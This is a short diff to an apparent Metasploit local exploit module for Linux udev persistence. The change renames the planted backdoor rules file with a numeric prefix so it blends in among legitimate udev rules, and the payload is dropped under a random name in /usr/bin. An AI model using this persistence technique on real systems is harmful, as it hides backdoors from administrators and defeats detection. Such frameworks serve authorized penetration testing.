diff --git a/modules/exploits/linux/local/udev_persistence.rb b/modules/exploits/linux/local/udev_persistence.rb index b3ee7085c8..8353d2cdfe 100644 --- a/modules/exploits/linux/local/udev_persistence.rb +++ b/modules/exploits/linux/local/udev_persistence.rb @@ -60,7 +60,7 @@ class MetasploitModule < Msf::Exploit::Local def exploit @payload_path = datastore['PAYLOAD_PATH'].blank? ? '/usr/bin/' + Rex::Text.rand_text_alphanumeric(8) : datastore['PAYLOAD_PATH'] - @backdoor_path = datastore['BACKDOOR_PATH'].blank? ? '/lib/udev/rules.d/' + Rex::Text.rand_text_alphanumeric(8) + '.rules' : datastore['BACKDOOR_PATH'] + @backdoor_path = datastore['BACKDOOR_PATH'].blank? ? '/lib/udev/rules.d/' + Rex::Text.rand_text_numeric(2) + '-' + Rex::Text.rand_text_alphanumeric(8) + '.rules' : datastore['BACKDOOR_PATH'] unless writable? File.dirname(@backdoor_path) fail_with Failure::BadConfig, "#{@backdoor_path} is not writable"